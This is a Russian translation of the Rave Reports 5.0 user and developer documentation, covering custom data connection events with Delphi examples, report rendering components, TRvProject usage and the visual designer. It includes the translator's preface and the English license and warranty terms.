procedure TDataForm.CustomCXNOpen(Connection: TRvCustomConnection);
begin
  AssignFile(DataFile,'DATAFILE.DAT');
  Reset(DataFile,1);
end;

Событие OnFirst
Событие OnFirst вызывается, когда требуется перемещение курсора данных на первую строку данных.
Пример:
procedure TDataForm.CustomCXNFirst(Connection: TRvCustomConnection);
begin
  Seek(DataFile,0);
  BlockRead(DataFile,DataRecord,SizeOf(DataRecord),DataRead);
end;

Событие OnNext
Событие OnNext вызывается, когда требуется перемещение курсора данных на следующую строку данных.
Пример:
procedure TDataForm.CustomCXNNext(Connection: TRvCustomConnection);
begin
  BlockRead(DataFile,DataRecord,SizeOf(DataRecord),DataRead);
end;

Событие OnEOF
Событие OnEOF вызывается для возврата состояния курсора данных, находится ли он на данных или уже вышел за конец. Значение TRUE должно быть возвращено, если данных больше нет или если вызов события OnNext привел к выходу из последней строки.
Пример:
procedure TMainForm.CustomCXNEOF(Connection: TRvCustomConnection;var EOF: Boolean);
begin
  EOF := DataRead < SizeOf(DataRecord);
end;

Событие OnGetRow
Событие OnGetRow вызывается для получения данных для текущей строки. Имеется несколько методов для записи данных в специальные буферы используемые Rave. Порядок и типы записываемых полей должен быть точно таким же, как полученные определения полей в событии OnGetCols.
В следующем списке приведены методы объекта Connection для записи данных в буфера.
procedure WriteStrData(FormatData: string; NativeData: string); {dtString}
procedure WriteIntData(FormatData: string; NativeData: integer); {dtInteger}
procedure WriteBoolData(FormatData: string; NativeData: boolean); {dtBoolean}
procedure WriteFloatData(FormatData: string; NativeData: extended); {dtFloat}
procedure WriteCurrData(FormatData: string; NativeData: currency); {dtCurrency}
procedure WriteBCDData(FormatData: string; NativeData: currency); {dtBCD}
procedure WriteDateTimeData(FormatData: string; NativeData: TDateTime);
{dtDate, dtTime and dtDateTime}
procedure WriteBlobData(var Buffer; Len: longint);
{dtBlob, dtMemo and dtGraphic}
Также имеется специальный метод, названный WriteNullData (без параметров), который может быть использован для некоторых полей, для указания неинициализированных данных (null). Параметр FormatData используется для передачи строки форматирования данных для данного поля. Параметр NativeData предназначен для передачи неформатированных или чистых данных поля. Если строка форматирования определена в отчете Rave, то она используется для форматирования, иначе используется FormatData.
Пример:
procedure TDataForm.CustomCXNGetRow(Connection: TRvCustomConnection);
begin
  With Connection do begin
  WriteIntData('',DataRecord.IntField);
  WriteStrData('',DataRecord.StrField);
  WriteFloatData('',DataRecord.FloatField);
  end; { with }
end;

Событие OnValidateRow
Событие OnValidateRow возникает для каждой строки данных, позволяя управлять включением строки данных в отчет или нет. Обычно это единственное событие, которое определяется для не пользовательских подключений.
Пример:
procedure TDataForm.CustomCXNValidateRow(Connection: TRvCustomConnection;
var ValidRow: Boolean);
begin
  ValidRow := DataRecord.FloatField >= 0.0;
end;

Событие OnRestore
Событие OnRestore для прекращения текущей сессии и восстановления предыдущего состояния. В этом событие Вы можете закрыть файлы данных, освободить ресурсы и восстановить предыдущее состояние, которое было перед событием OnOpen.
Пример:
procedure TDataForm.CustomCXNRestore(Connection: TRvCustomConnection);
begin
  CloseFile(DataFile);
end;


Компонент TRvNDRWriter

Компонент TRvNDRWriter используется совместно с TRvRenderPrinter и TRvRenderPreview для записи отчета в специальный двоичный формат, до тех пор, когда он потребуется для печати или просмотра.

Свойства и события
Компонент TRvNDRWriter имеет свойства и события для управления выводом. AccuracyMethod определяет, каким образом выводятся строки, для получения должного качества печати и просмотра. FileName это файл, который будет создан, если StreamMode содержит, что отличное от smUser. Используйте smFile для больших отчетов (более 10 страниц или с большим количеством рисунков) и smMemory для маленьких отчетов (менее 10 страниц). Для отсылки отчета в файл используйте метод Execute.


Компоненты вывода

Описание TRvRenderPreview
Компонент TRvRenderPreview берет файл, созданный компонентом TRvNDRWriter и посылает его на экран для просмотра. TRvRenderPreview имеет много методов и событий, которые позволяют программисту создавать сложный, настраиваемый пользовательский интерфейс.
Свойства TRvRenderPreview
ScrollBox определяет компонент TscrollBox, на котором и рисуется отчет.
FileName и StreamMode используются аналогично TRvNDRWriter и TRvRenderPreview.
GridHoriz и GridVert определяют горизонтальное и вертикальное расстояние, в дюймах или метрике, между каждой отметкой, рисуемой с помощью GridPen.
RulerType совместно с настройками, удобен для разработки точных отчетов, без необходимости производить тестовую печать.
MarginMethod и MarginPercent определяет и размер непечатных границ листа.
ShadowDepth определяет количество пикселей для тени листа.
Monochrome определяет, что вывод на должен быть монохромным или цветным битмапом. Сбрасывается при вызове NextPage или PrevPage.
ZoomInc определяет величину увеличения или уменьшения для ZoomIn и ZoomOut при изменении процента текущего zoom, ZoomFactor.
События TRvRenderPreview
OnPageChange вызывается, когда сменяется текущая страница и позволяет программисту обновить пользовательский интерфейс для нового номера страницы.
OnZoomChange вызывается, когда изменяется текущий коэффициент масштабирования, ZoomFactor, что позволяет программисту обновить пользовательский интерфейс для нового коэффициента масштабирования.

Описание TRvRenderPrinter
Компонент TRvRenderPrinter принимает файл созданный компонентом TRvNDRWriter и посылает его на текущий принтер. TRvRenderPrinter часто используется для печати из окна просмотра. TRvRenderPrinter это простой компонент, но и он имеет методы и свойства для управления печатью.
Свойства и события TRvRenderPrinter
FileName это имя файла отчета созданного компонентом TRvNDRWriter, если StreamMode равен smMemory или smFile. Потоковый режим smUser используется, когда программист хочет предоставить свой собственный потоковый объект (любой наследник от TStream) , назначив свойство Stream компоненту TRvNDRWriter, TRvRenderPrinter и/или TRvRenderPreview. У компоненты TrvRenderPrinter отсутствую свои события. Для посылки отчета на принтер сделайте вызов Execute или ExecuteCustom.

Описание TRvRenderPDF
Компонент TRvRenderPDF позволяет создавать документы PDF (Adobe Acrobat) прямо из отчета. Шрифты могут быть встроены в документ PDF, путем установки свойства EmbedFonts в TRUE. Качество рисунков, включенных в PDF файл можно установить через указание процента качества в свойстве ImageQuality. Сжатые PDF документы можно создать, если установить свойство UseCompression в TRUE, подключив ZLib в uses и определив событие OnCompress так:

With TCompressionStream.Create(clMax, OutStream) do try
  CopyFrom(InStream, InStream.Size);
finally
  Free;
end; { with }

Самый простой путь создания возможностей вывода в приложении – это бросить компонент на форму, которая автоматически зарегистрирует этот формат и стандартные диалоги настройки и просмотра в TRvSystem. Если требуется более автоматический вывод, то можно вызвать метод Render с передачей или объекта NDR TStream или имени файла NDR как единственный параметр.

Описание TRvRenderHTML
Компонент TRvRenderHTML преобразовывает поток NDR или файл в HTML страницы. Поддержаны текст, графика, линии и прямоугольники. Результат вывода в формате HTML 4.0 и разработан так, что бы вывод на печать был максимально точным.

Описание TRvRenderRTF
Компонент TRvRenderRTF преобразовывает поток NDR или файл в формат RTF. Результат вывода в формате RTF и разработан так, что бы вывод на печать был максимально точным. Элементы в документе включаются как отдельные кадры "frames", для поддержки точного позиционирования на странице.

Описание TRvRenderText
Компонент TRvRenderText преобразовывает поток NDR или файл в текстовый формат. Поддержаны только текстовые элементы, все остальные объекты, такие как графика или линии игнорируются. Свойство CPI позволяет указать количество символов на дюйм и свойство LPI позволяет указать количество строк на дюйм на выходное устройство. Примечание: конечный вывод на принтер может не совпадать с установками CPI или LPI поскольку в файл не вставляются никакие команды форматирования.


Компонент TRvProject

Компонент TRvProject является ключом для доступа к визуальным отчетам, создаваемым с помощью Rave. Обычно к вас только один компонент TRvProject на все приложения, но при нужде Вы можете иметь их столько, сколько нужно. Свойство ProjectFile определяет файл проекта вашего приложения, в котором хранятся все определения отчета. Данный файл имеет расширение .RAV и даже если это единственный файл он может хранить столько определений отчета сколько необходимо. Когда вызывается метод Open объекта TRaveReport, то данный файл загружается в память для подготовки к печати или для изменений пользовательским дизайнером. Вы должны обязательно вызвать метод Close, как только вам не нужен файл проекта или при закрытии вашего приложения. Любые изменения в проекте отчета Вы можете сохранить, вызвав метод Save. TRvProject также имеет несколько свойства и методов, такие как SelectReport, GetReportList, ReportDescToMemo, ReportDesc, ReportName и ReportFullName, что делает эффективным и простым создание интерфейса для ваших пользователей. Посмотрите RAVEDEMO проект, как хороший пример создания интерфейса Rave.

Свойство Engine
Свойство Engine TRvProject позволяет вам определять альтернативный движок для вывода. Это позволяет вам создавать свои пользовательские диалоги настройки и просмотра через компонент TRvSystem или создавать NDR потоки или файлы через компонент TRvNDRWriter.

Использование TRvProject
Далее показана базовая последовательность шагов, которую Вы должны выполнить при использовании компоненты TrvProject в вашем приложении:
1) Вызовите RvProject.Open; для открытия проекта отчета, определенном в свойстве ProjectFile.
2) Вызовите RvProject.GetReportList(ListBox1.Items,TRUE); для загрузки списка имен отчетов в ListBox1.
3) Когда пользователь щелкнет в ListBox1 (ListBox1.OnClick),
вызовите RvProject.SelectReport(ListBox1.Items[ListBox1.ItemIndex],TRUE); и затем RvProject.ReportDescToMemo(Memo1); для выбора текущего отчета и копирования его описание в Memo1.
4) Вызовите RvProject.Execute; для печати текущего отчета.
5) Вызовите RvProject.Design; вызов дизайнера конченого пользователя для текущего отчета (доступен только через End User Designer License (EUDL)).
6) Вызовите RvProject.Close; для закрытия проекта отчета и освобождения занятой памяти.
Это просто обзор базовых действий для типичного приложения и показано как вызывать методы и свойства TRvProject. Есть также и другие свойства и методы, определенные в основном справочника, что дает вам большие возможности. Для сохранения места в вашем приложении, Rave загружает только Graphics, Standard и Reporting компоненты. Компоненты штрих кодов (Barcode) и другие пользовательские компоненты должны быть зарегистрированы и откомпилированы в приложение явно, если они используются в отчете Rave. Далее список шагов для подключения компонентов штрих кодов в ваше приложение:
1) На форме, которая содержит компонент TRvProject для приложения, добавьте модуль RvCsBars в uses.
2) Определите событие TRvProject.OnCreate и вызовите метод RaveRegister для модуля RvCsBars:

procedure TReportForm.RvProjectCreate(Sender: TObject);
begin
  RvCsBars.RaveRegister;
end;

Два приведенных выше шага требуются для любого пользовательского компонента, который может использоваться в Rave отчете. Если Вы не корректно выполните приведенные шаги, то Вы получите такое сообщение об ошибке "Class TRavePostNetBarcode not found", во время открытия проекта.


Rave Report - Руководство пользователя

Rave Reports

Borland Edition 5.0

Руководство пользователя

Руководство и справочник

This manual and all material accompanying it is
Copyright (C) 1995-2002, Nevrona Designs, All Rights Reserved (rev BE50a)

© Анатолий Подгорецкий, 2003, перевод на русский язык
http://podgoretsky.com/
anatoly@podgoretsky.com

Примечание от Vit: Часть иллюстративного материала статьи и приложения были исключены с целью экономии места в DRKB - за полной версией обращайтесь к Анатолию Подгорецкому.


От переводчика

Это вторая из двух книг посвященных генератору отчетов Rave Reports.
Главы «Лицензия на одного пользователя» и «Ограниченные гарантии» оставлены без перевода.
Поскольку у меня нет самого RAVE, то возможно местами качество перевода будет не совсем адекватное, поскольку невозможно проверить, что действительно кроется за тем или другим пунктом документации.
В документации очень много ошибок и несуразностей. Отсутствие некоторых глав как, например главы об очень важной части RAVE, об их технологии «mirroring» (зеркальное отражение частей отчета в другом месте без копирования), кстати, как и многое другое, включая отсутствующие отдельные куски текста, скопированные из других глав, но не измененные по контексту, разнобой в терминологии, многократное повторения вокруг темных мест, но не объяснения самой сути этого места и многое другое. И чем дальше к концу книги, тем хуже положение. Но это часто обычная ситуация разрабатывают прекрасный продукт, а документация страдает, но не до такой же степени.
Это не очень солидно для фирмы, видимо очень торопились или это был не очень ответственный работник, книга очень отличается по качеству от книги «Руководства разработчика», где такие ляпы практически отсутствуют. Так что если где-то, что-то вызывает недоумение, то знайте, что здесь не только переводчик виноват, но и авторы постарались. К сожалению, я не в состоянии изменить их ошибки, только местами.
По поводу замеченных недостатков и опечаток, просьба сообщать на e-mail anatoly@podgoretsky.com


Начало работы - Техническая информация

Лицензия на одного пользователя - Single User License Agreement
This is a legal Agreement between you, as the end user, and Nevrona Designs. By opening the enclosed sealed disk package, or by using the disk, you are agreeing to be bound by the terms of this Agreement. If you do not agree with the terms of this Agreement, promptly return the unopened disk package and accompanying items, (including written materials), to the place you obtained them for a full refund.
1. Grant of License - Nevrona Designs grants to you the right to use one copy of the enclosed Nevrona Designs program, (the Software), on a single terminal connected to a single computer (i.e. CPU). You may make one copy of the Software for back-up purposes for use on your own computer. You must reproduce and include the copyright notice on the back-up copy. You may not network the Software or use it on more than a single computer or computer terminal at any time, unless a copy is purchased for each computer or terminal on the network that will use the Software. You may transfer this Software from one computer to another, provided that the Software is used on only one computer at a time. You may not rent or lease the Software, but you may transfer the Software and accompanying written material and this license to another person on a permanent basis provided you retain no copies and the other person agrees to accept the terms and conditions of this Agreement. THIS SOFTWARE MAY NOT BE DISTRIBUTED, IN MODIFIED OR UNMODIFIED FORM, AS PART OF ANY APPLICATION PROGRAM OR OTHER SOFTWARE THAT IS A LIBRARY-TYPE PRODUCT, DEVELOPMENT TOOL OR OPERATING SYSTEM, OR THAT MAY BE COMPETITIVE WITH, OR USED IN LIEU OF, THE PROGRAM PRODUCT, WITHOUT THE EXPRESS WRITTEN PERMISSION OF NEVRONA DESIGNS. This license does include the right to distribute applications using the enclosed software provided the above requirements are met.
2. Term - This Agreement is effective until you terminate it by destroying the Software, together with all copies. It will also terminate if you fail to follow this agreement. You agree upon termination to destroy the Software, together with all copies thereof.
3. Copyright - The software is owned by Nevrona Designs and is protected by United States laws and international treaty provisions. Therefore, you must treat the Software like any other copyrighted material (e.g. a book or musical recording) EXCEPT that you may either (a) make one copy of the Software solely for back-up or archival purposes, or (b) transfer the Software to a single hard disk provided you keep the original solely for back-up or archival purposes. You may not copy the written materials accompanying the Software.

Ограниченная гарантия - Limited Warranty
1. Limited Warranty - Nevrona Designs warrants that the disks on which the Software is furnished to be free from defects in material and workmanship, under normal use, for a period of 90 days after the date of the original purchase. If, during this 90-day period, a defect in the disk should occur, the disk may be returned with proof of purchase to Nevrona Designs, which will replace the disk without charge. Nevrona Designs warrants that the Software will perform substantially in accordance with the accompanying written materials. Nevrona Designs does not warrant that the functions contained in the Software will meet your requirements, or any operation of the Software will be uninterrupted or error-free. However, Nevrona Designs will, after being notified of significant errors during the 90-day period, correct demonstrable and significant Software or documentation errors within a reasonable period of time, or refund all or a fair portion of the price you have paid for the Software at Nevrona Designs' option.
2. Disclaimer of Warranties - Nevrona Designs disclaims all other warranties, either expressed or implied, including but not limited to implied warranties of merchantability of fitness from particular purpose, with respect to the Software and accompanying written materials. This limited warranty gives you specific legal rights, you may have others, varying from state to state. Nevrona Designs will have no consequential damages. In no Событие, shall Nevrona Designs or its suppliers be liable for damages whatsoever, (including without limitation, damages for loss of business profits, business interruption, loss of business information, or any pecuniary loss), arising out of the use or the inability to this Nevrona Designs product, even if Nevrona Designs has been advised of the possibility of such damages. Some states do not allow the exclusion of limitation of liability for consequential or incidental damages, and this limitation may not apply to you.
3. Sole Remedy - Nevrona Designs' entire liability in your inclusive remedy shall be, at Nevrona Designs' option, either: (1) The return of the purchase price paid; or (2) Repair or replacement of the Software that does not meet Nevrona Designs' limited warranty, which is returned to Nevrona Designs with a copy of your receipt.
4. Governing Law - This Agreement will be consTRUEd and governed in accordance with laws of the State of Arizona.
5. U.S. Government Restricted Rights - This Software and documentation are provided with restrictive rights. Use, duplication or disclosure by the Government is subject to restrictions set forth in Section c(1)(ii) of the Rights and Technical Data in Computer Software clause at 52.227-7013.

Техническая поддержка
Техническая поддержка, обновления и другая информация, относящаяся к Rave Reports, может быть получена на сайте Nevrona Designs. Для получения более подробной информации посетите один из слежующих сайтов:
Техническая поддержка - http:/www.nevrona.com/support
Добавления, советы и другая информация - http:/www.nevrona.com/rave
Обновления - http:/www.nevrona.com/rave/download.html


Что такое RAVE?

Отчеты являются одним из наиболее сложных вещей, еще более сложной задачей, для некоторых являются базы данных. Отчеты предназначены для быстрого получения визуальной информации из данных. Для решения данной проблемы, на наиболее информационный манер, традиционные генераторы отчетов предлагают, секционное, в стиле таблиц представление данных. На сегодняшний день имеются более сложные требования к отчетам, которые не так легко решить стандартными секционно-табличными средствами.
Добро пожаловать в следующий уровень визуального проектирования отчетов! Визуальный Rave дизайнер предлагает многие уникальные свойства, которые помогут сделать процесс получения отчетов проще, быстрее и более понятным. Rave является интуитивной, визуальной средой разработки, которая может легко управлять широким спектром отчетов, много больше, чем чистый, рассчитанный на секции дизайнер. Rave также включает зеркальное отражение и другие технологии, для повторного использования содержимого ваших отчетов для быстрого внесения изменений и боле простого обслуживания. В действительности, Rave был специально разработан для получения гибкости и функциональности, в простом для освоения формате.
С чего начать? Поскольку, Rave является странично - ориентированным дизайнером, многие из его свойств должны быть понятны и легки для использования после небольшой практики. Есть большое количество параметров и других вещей, которые совсем понятны, при начальном освоении. Тем не менее, запомните, что многие из этих параметров могут быть просто проигнорированы в начале, но потом, они вам потребуются, после того как Вы приобретете более обширные знания. В действительности, помощники «Wizards» сгенерируют вам "стандартные" отчеты без знания, что происходит за сценой. Тем не менее, мы рекомендуем, что бы Вы потратили немного времени и быстро прочитали данное руководство.
В инсталляцию Rave включен проект, названный "RaveDemo", который содержит примеры различных отчетов. Что бы увидеть общий идеи, запустите RaveDemo.exe и откройте проект RaveDemo, для доступа к различным типам отчетов. Изучение проекта RaveDemo и других примеров является прекрасным методом изучения Rave.

Среда RAVE - Report Authoring Visual Environment
Отчет может быть описан, как представление данных в визуальном виде, которое можно распечатать на бумаге или просматривать в электронном виде. Обычно, имеется набор таблиц, которые предоставляют данные для создания отчета. Например, представим себе: таблицу заказчиков «Customer», таблицу продукции «Products», и таблицу продаж «Items Sold». Данные таблицы должны быть скомбинированы для получения формы письма, счета и списка заказчиков.
Начнем с быстрого обзора Rave. Первый шаг используем Rave для запуска программы. Первая вещь, которую мы увидим, будет представление на экране страницы с закладками, с двумя окнами по обе стороны страницы и панели вверху экрана. На первый взгляд, слишком много элементов дизайнера Rave, для первого раза, что бы начать работать.
Начнем с того, что показывается при старте Rave. Для начала, поймите, что есть две группы панелей, отображаемых в дизайнере Rave; это компоненты и инструменты.
Компоненты, это такие элементы, которые "бросаются" или видны на странице редактора. Это могут быть секции, штрих коды, линии, графические примитивы, и другие. Пока не будем беспокоиться об этих вещах. Если объект виден на странице, то это компонент.
Панели, которые могут изменять компоненты, являются панелями инструментов. Есть несколько таких панелей: выравнивания, палитра цветов, редактор шрифтов и другие. Если на странице есть прямоугольник, который нужно закрасить цветом фона, сначала выберите данный прямоугольник, щелкнув на нем. Затем, используя панель цветов, смените цвет на требуемый. Панели можно скрывать и показывать, выбирая их из меню Tools. Для представления обзора в более простом виде, панели могут скрываться, до тех пор, пока они не понадобятся.
Заметим, что это был очень быстрый обзор. Имеется множество настроек и свойств, которые управляют поведением каждой части визуального дизайнера. Данное руководство состоит из двух частей, Описание системы Rave, включая компонент и инструмента, затем глава справочника, которая содержит подробное описание каждого свойства. Сначала, пройдите главы Описания, и только за тем переходите к главе справочника, для большего понимания различных свойств.

Первый взгляд
Когда Rave первый раз запускается, то открывается окно, похожее на ниже представленную картинку. Поскольку Rave помнит, какой файл был открыт последний раз, ваше окно может немного отличаться. Но, области, показанные на данном рисунке, являются фундаментальными. Мы сначала расскажем о каждой части окна, что бы дать общее представление о дизайнере Rave.

Область навигации

На самом верху визуального дизайнера Rave расположена область навигации. Сюда могут индивидуально прилепляться (docking) панели, и также могут присоединяться закладки. Присоединение панелей позволяет пользователю видеть все кнопки на панели и видеть больше панелей одновременно. Присоединение панелей позволяет иметь простой доступ до панелей, но только одна панель видна в тоже время.
Панели могут содержать одновременно и компоненты и инструменты. Инструмент это свойство, которое позволяет изменять объект на странице, как редактор шрифтов или палитра цветов. Компонент это объект, который размещается на странице как группа, линия, текст, регион или секция. Для поиска имени кнопки на панели, просто переместите мышь на кнопку, и появится всплывающая подсказка. Также, заметим, что при выборе кнопки она утапливается. Отжимается, когда кнопка нажимается.
Каждую панель можно спрятать. Что бы спрятать или показать панель, перейдите в меню Tool и выберите необходимую панель, из пункта Toolbars.

Страница (Основа Rave)
Стартовая точка визуального дизайнера Rave это страница. Страница это фундамент, на котором выполняются все действия по разработке. На странице показана сетка, которая выглядит примерно, как показано на рисунке. Внешний вид страницы можно изменить на свои собственные предпочтения, данный вопрос рассматривается в главе Предпочтения.

Одной из важных вещей, которую вы знаете и помните, это то, что страница имеет свойства, такие как высота и ширина. Для просмотра или изменения свойств страницы, перейдите в панель дерева проекта и разверните узел Report, нажатием на значок «+», затем выберите имя отчета (По умолчанию "Report1") и затем выберите строку, которая по умолчанию, называется "Page1". Щелкните один раз на имени страницы, оно будет подсвечено в дереве проектов. Подсветка означает, что страница выбрана, и ее свойства можно посмотреть в панели свойств.
Панель дерева проекта

Панель дерева проекта это очень важная информативная часть дизайнера Rave и это также предоставляет простой путь для навигации по структуре проекта.
В данный момент мы рассмотрим только часть дерева проекта. Более подробно это будет рассмотрено в главе Дерево проекта.
Имеет три основных узла в дереве проекта: Report Library, Global Page Catalog и Data View Dictionary. Каждый из этих узлов (и их подузлов), может быть, развернут или свернут нажатием на символ плюс/минус. Подузлы могут создаваться и добавляться, выбором соответствующего пункта (New Report, New Global Page или New Data Object) в меню Project.
Узел Report Library содержит все отчеты в данном проекте. Каждый отчет может иметь от одной до нескольких страниц. Каждая из этих страниц может иметь один или несколько компонентов на ней.
Узел Global Page Catalog содержит все шаблоны отчета. Шаблоны отчетов могут содержать от одного до нескольких компонентов. Данные шаблоны могут затем повторно использоваться через уникальную технологию зеркального отражения Rave. Она позволяет включать такие элементы как заголовки и подвалы писем, готовые печатные формы, водяные знаки или определения полных страниц, которые затем могут служить основой для других отчетов.
Узел Data View Dictionary содержит все подключения данных, определенные для отчетов. Data view получает данные из приложения, через подсоединения данных, установленные для данного приложения.
Панель свойств
Панель свойств помогает настраивать вид и поведение компонент. Когда компонент выбран на странице, Панель свойств отражает выбор показом различных свойств, ассоциированных с данным компонентом.

Изменение значений свойств делается очень просто, использованием различных ассоциированных выпадающих меню и окон редактирования. Если не выбран ни один компонент, то панель свойств появляется пустой.
Другой путь изменения свойств, это выбор значений из списка возможных значений. Например, свойство Color имеет кнопку со значком стрелка вниз. При нажатии на данную кнопку выпадает список цветов, из которого можно выбрать нужное значение. Некоторые свойства, у которых есть список выбора, могут быть выбраны двойным щелчком (вместо раскрытия списка и выбора из него значения), для доступа к одному следующему значению за раз.


Панели и окна инструментов

Панели
Панель это коллекция иконок, которые представляют их функции. Rave имеет несколько панелей, которые могут быть приклеены к любой стороне окна дизайнера, к закладкам, или быть спрятаны, пока не потребуются.
Для доступа к панелям, перейдите в меню Tools, и затем выберите Toolbars, выберите нужную панель. Выбор панели отмечается галочкой радом с панелью.
Панели разработаны так, что бы помнить свое последнее местонахождение. Когда панель скрывается, а затем снова показывается, то панель показывается в той же самой позиции экрана, в которой она была закрыта.

Перемещение панели
Когда панель видима, она может находиться в одном из двух состояний: привязанная к закладке (tab-docked) или автономно (single docked). Привязанная панель индицируется только на закладке. Автономная панель имеет слева манипулятор ребро перемещения. Для смены состояния панели, сделайте щелчок правой кнопкой на одной из ее иконок. Появится маленькая кнопка с меткой "dock" или "undock". Щелкните по данной кнопке для смены состояния.
Когда панель отвязана, манипулятор панели "toolbar handle" это ребро с левой стороны, для перемещения панели. Для перемещения панели, поместите курсор на ребро "toolbar handle", нажмите левую кнопку мыши и, удерживая ее, переместите панель в новое положение в верхнем окне дизайнера. Лучший путь это потренироваться с этим.
Как замечено раньше, одиночные панели и панели на закладках могут быть размещены только в верхнем окне дизайнера. Пользователь может попрактиковаться с их перемещением.

Палитра панели
Палитра панели имеет некоторое количество специальных свойств, которые будут рассмотрены более подробно. Область в верхнем правом углу дизайнера позволяет разместить одну или несколько панелей. Когда панели размещена, то закладка имеет имя панели. При размещении панелей в области закладок, создается новая закладка для отражения текущей панели.
Имеется инструмент (Tab Grabber), позволяющий перемещать закладки влево или вправо. Когда закладка перемещается слишком далеко вправо, появляются две стрелки позволяющие двигаться по закладкам. Вся область закладок может быть очищена перемещение всех закладок из этой области или закрытием панелей через меню. Область закладок также может быть перемещена на любой край окна (перемещая далеко вправо) освобождая верную область для дизайнера. Используйте Tab Grabber для перемещения области закладок (может быть легко заполнено или очищено) для перемещения далеко вправо.

Скрытие панелей
Есть несколько путей для скрытия панелей. Скрытия панелей позволяет пользователю иметь 'чистый' Rave дизайнер. Это позволяет убрать неиспользованные или редко используемые панели, из среды дизайнера.
Для этого снимите отметку в меню Tools.

Панели компонент и утилит
Есть два типа панелей: Компоненты (Component) и утилиты (Utility). Компонентные панели используются для помещения компонент, которые работают и имеют функции внутри отчета; смотри главу «Обзор компонент» для более подробной информации о компонентах. Большинство из компонент видимы, при размещении на странице, но есть несколько не видимых компонент, не видимы, означает, что данные компоненты появляются только в дереве проектов.
Панели утилит используются для установки свойств, которые влияют на вид компонент в отчете, например, панель цвета может изменять цвет текста в компоненте DataText.
Ниже список панелей, классифицированных по типам:

Панели компонент Панели утилит
Standard   Alignment
Report   Colors
Bar Code   Fills
Drawing   Fonts
   Lines
   Zoom
   Project
   Designer

Окна инструментов
Rave имеет два очень важных окна, которые обычно называются окна инструментов (Tool Windows). Так они называются, поскольку пользователь использует их как инструмент, для выполнения и навигации по отчету. Эти два окна – дерево проекта и панель свойств.
Данные окна обычно показываются после запуска Rave. но, если они не показаны, то перейдите в меню Tools и отметьте их.

Окно панели свойств
Окно панели свойств дает информацию о характеристиках проект и компонент в проекте. Это полезно при разработке проекта, поскольку дает быстрый доступ к свойствам компонент и визуальный доступ для модификации свойств. Более подробная информация содержится в главе «Панель свойств».
Панель свойств отображает и позволяет изменять значение любых компонент помещенных на страницу, включая не видимые компоненты. Для получения информации о нужном компоненте, выберите данный компонент перед просмотром в панели свойств. Для более подробной информации о выборе объекта смотрите главу «Выбор компонент».

Дерево проекта
Дерево проекта очень важная часть дизайнера Rave. Оно предоставляет простой путь для навигации по структуре отчета.
Дерево проекта состоит из трех главных узлов: Report Library, Global Page Catalog и Data View Dictionary. Для более подробной информации о функциональности этих компонент смотрите главу «Дерево проекта» и главу «Компоненты проекта».
Элементы внутри дерева проекта могут быть выбраны щелчком на элементе. Также помните, что компоненты в дереве проекта это также и компоненты на странице.
Примечание: невидимые компоненты в дереве проекта обычно зеленого цвета.
Подробности о навигации по дереву проекта, содержатся в соответствующей главе, сейчас дано только общий обзор.


Обзор компонент

Что такое компонент
Компонентом называется то что, размещается на странице, такое как - штрих код, линия, регион, графический примитив (shape) и другие. Компоненты, доступные Rave, находятся на панелях (например, Standard, Drawing, Report и Barcode).
Панели доступны, через выбор меню Tools | Toolbars. Доступные панели показываются в следующем подменю и имеют отметку, если они видимы в текущий момент. После того как панель становится активной, компонент может быть выбран и помещен на страницу. Страница это особый компонент, и более детально рассмотрен в главе «Дизайнер страниц». с каждым компонентом ассоциируется набор свойств. Эти свойства могут быть просмотрены с помощью панели свойств. Установка свойств каждого компонента производится или вводом значения в текстовом диалоге, использование выпадающего меню или нажатием на кнопку с символом эллипса (…).
Есть много свойств ассоциированных с каждым компонентом, но не беспокойтесь об их количестве. Свойства позволяют настраивать поведение компонента и в большинстве случаев значение по умолчанию вполне адекватно. Также, заметьте, что количество свойств может варьироваться в зависимости от уровня пользователя, можно изменить через предпочтения (preferences). Для настройки уровня пользователя откройте закладку environment в диалоге preferences. Смотрите главу «Предпочтения».

Поскольку есть много свойств, ассоциированных с каждым компонентом, данная глава делает фокус в основном на панелях компонент, чем на их свойства. Текущая глава производит хороший обзор каждой панели компонент без детального рассмотрения свойств. Заметим, что многие компоненты имеют общии свойства, так что как только свойство изучено, то оно может быть применено к остальным компонентам.
Компоненты также определяются отношениями к другим компонентам. Данная связь определяется как родитель-дитя. Когда текстовый компонент помещается на страницу, родителем является страница и подчиненным текстовый компонент. По-другому на это можно посмотреть так, что страница содержит текстовый компонент, родительский компонент содержит подчиненный компонент.
Связь родитель-дитя также расширяется на позиционирование компонентов. Любое позиционирование делается относительно верхнего левого угла родителя, это свойства Left и Top, которые используются для определения относительной позиции компонента. Родитель подобен компоненту Section, который может содержать любое количество других компонент; затем если родительский компонент перемещается, его подчиненные компоненты перемещаются одновременно. Если родительский компонент удаляется, то удаляются и все его дети.
Связь родитель-дитя определяется при создании подчиненного компонента. Если подчиненный компонент бросается на родительский компонент, то он становится дитем данного родителя. Если компонент бросаются на страницу, и затем перемещается на другой компонент (такой как Section), то он все равно остается дитем страницы.
Дерево проекта, более подробно описано позже, визуально показывает связь родитель-дитя компонент. В действительности, компонент Project является главным родителем всех отчетов, остальных страниц и объектов данных. Отчеты родители страниц отчета. Страницы родители компонент помещенных на них. Еще есть другие компоненты, которые могут быть родителями, такие как Region (регионы), Band (полосы) и Section (секции).

Панели компонент
Есть четыре стандартные панели компонент. Другие панели компонент могут быть представлены дополнительными add-on пакетами. Нормальный набор компонент следующий: "Standard", "Drawing", "Report" и "Bar Code". Одно из общих свойств, применимое ко всем компонентам, будет объяснено здесь.
Свойство Name используется для задания имени, которое должно быть уникальным. По умолчанию Rave назначает последовательные имена, базируясь на типе компонента, такие как 'Section1', 'Section2' и так далее. Смените его на более описательное, что бы сделать дерево проекта более читабельным и проект более простым для обслуживания. Свойство Name не должно содержать пробелов или специальных символов. Данное имя будет использоваться в панели дерева проектов.
Несколько следующих глав дают обзор четырех панелей компонент. Это служит только как введение, более подробная информация будет сделано позже.

Стандартные компоненты

Панель стандартных компонент, содержит большинство, наиболее часто используемых компонент. Когда панель стандартных компонент видима, выберите и поместите компонент, такой как битмап, секция, текстовый компонент на страницу.
Компонент Text создает одиночную строку текста, которая может быть изменена с помощью панели свойств.
Компонент Memo позволяет отображать несколько строк текста, включая многострочный текст.
Компонент Section это очень специальный компонент, который позволяет объединять несколько компонент.
Компоненты Bitmap и Metafile, позволяют разместить графические образы в отчете. Компонент FontMaster позволяет пользователю определять стандартные шрифты для различных частей отчета, например заголовкам, содержимому и подвалам.
Последний компонент называется PageNumInit, данный компонент позволяет начать нумерацию в отчете.
Используйте эти компоненты для создания базы отчета, вставки текста и образов.

Компоненты штрих кодов
